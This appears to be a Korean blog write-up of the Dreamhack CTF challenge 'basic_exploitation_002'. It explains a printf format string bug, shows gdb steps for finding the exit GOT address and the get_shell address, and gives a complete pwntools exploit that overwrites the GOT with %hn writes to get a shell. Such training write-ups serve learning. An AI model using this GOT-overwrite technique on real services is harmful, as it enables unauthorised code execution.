티스토리 뷰
이 문제는 서버에서 작동하고 있는 서비스 (basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag"파일을 읽으세요.
Explanation
일단 문제 파일을 받아보고 소스코드를 확인하니 printf 문이 조금 이상하게 작성되어 있다는 것을 확인할 수 있다. 문자열을 출력할 때 서식지정자 없이 바로 buf을 출력한다. 바로 buf을 출력하는 것이 무엇이 문제일까? ➡️ 이러한 코드는 Format String Bug를 만들 수 있다. 즉 buf의 값을 우리가 마음대로 정할 수 있다면 포맷 문자를 넣어버려 우리가 원하는 값을 출력할 수 있다는 뜻!
다운로드한 파일을 압축 해제하고 실행해 보자.
./basic_exploiation_002
예외) ./~~~002 실행하면 no such file이라 뜨고 실행이 안 될 수 있다. 그 이유는 높은 확률로 파일이 32비트 체제 파일인데 사용하는 PC는 64비트 체제이기 때문이다. 이를 해결하기 위해서 64비트에서도 32비트 파일을 실행할 수 있게 해주는 프로그램을 별도로 설치하면 된다.
apt-get install libc6-i386 //권한이 없다고 뜨면
sudo apt-get install libc6-i386 //sudo로 입력
파일을 실행하면 아무것도 뜨지 않는다. 아무 문자열이나 입력하면 내가 입력한 문자열을 반환하는 것을 알 수 있다.
./basic_exploitation_002
abcdefgh //입력값
abcdefgh //출력값
이 방법을 이용해서 문자열들이 어디에 참조되는지 알 수 있다. AAAA를 입력한 문자열이 첫 번째로 출력되는 것을 확인했다. %x 서식자를 통해서 AAAA가 언제 출력되는지 확인했다. 이것을 통해 값을 조작을 하기 위한 입력하는 곳은 시작 부분이라는 것을 알 수 있다.
./basic_exploitation_002
AAAA %x %x %x %x //입력값
AAAA 41414141 20782520 25207825 58252078 //출력값
이제 gdb를 통해서 메모리를 분석하는 단계로 넘어가자. 메인 함수 메모리를 확인해 보면 main이 종료되기 전에 get_shell 함수가 호출된다. 그렇다면 해당 함수의 주솟값을 참조하도록 할 수 있는 곳이 있어야 한다. 그곳이 바로 exit 함수다. 그렇다면 exit 함수의 메모리를 살펴보자. Exit() 함수의 got 주소와 쉘에 대한 명령어를 담고 있는 get_shell 주소도 알아야 한다.
gdb
file basic_exploitation_002
set disassembly-flavor intel
disas exit
exit 함수를 보니 제일 처음 jmp (jump)라는 어셈블리어가 나온다. 메모리 기준으로 0x804a024의 주소로 jump 한다는 뜻이다. 0x804a024의 주소를 확인해 보자.
disas 0x804a024
Exit() got 주소: 0x804a024
get_shell의 메모리 주소를 알아보자.
p get_shell
Get_shell 주소: 0x08048609
필요한 주소를 다 구했으니 이제 셸 코드를 작성하자. • gdb를 닫고 Terminal에서 나와 Text Editor로 들어가서 소스코드를 입력하고. py를 파일 뒤에 입력해서 파이선 코드라는 것을 명시해 주자.
from pwn import *
#p = process('./basic_exploitation_002')
p = remote("host3.dreamhack.games",23890) //드림핵 호스트를 확인해야함 다를 수 있음
#804a024
print(0x804 - 0x8)
shell = b'\x26\xa0\x04\x08'+b'\x24\xa0\x04\x08'+b'%2044c%1$hn'+b'%32261c%2$hn'
p.sendline(shell)
p.interactive()
python3 002.py //다운받은 파이선 모드를 확인해야한다.
파일을 열면 아무것도 안 나오는데 이 상태에서 파일의 목록을 확인해 주는 ls 명령어를 실행하면 무슨 파일들이 있는지 알 수 있다.
2022/Nov/29 solved.
'WARGAME > dreamhack' 카테고리의 다른 글
[web] - csrf-2 (0) | 2024.05.05 |
---|---|
[forensic] - Windows Search (0) | 2024.05.05 |
[Pwnable] Return address overwrite (0) | 2024.05.05 |
[pwnable] shell_basic (0) | 2024.05.05 |
- Total
- Today
- Yesterday
- cryptohack
- dreamhack
- 내 친구는 이것이 특별한...
- ctf-d
- puzzle #1: ann’s bad aim
- 사진 속에서 빨간색이…
- picoctf
- ctf문제풀이
- CTF
- 이 파일에서 플래그를 찾아라!
- basic_exploitation_002
- pwnable
- picoctf2019
- Digital Forensics
- 저희는 디스크 이미지를 찾았습니다.
- 호레이쇼가 플래그를 보며…
- cyber talents
- Forensics
- picoctf 2023
- find key(butterfly)
- forensicscontest
- tommy는 프로그램을 작성했습니다.
- 원래 의미가 없는 것들도…
- CTFd
- 우리는 이 파일에 플래그를...
- three thieves threw trumpets through trees
- picoctf2022
- findandopen
- defcon#21
- picoctf2021
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |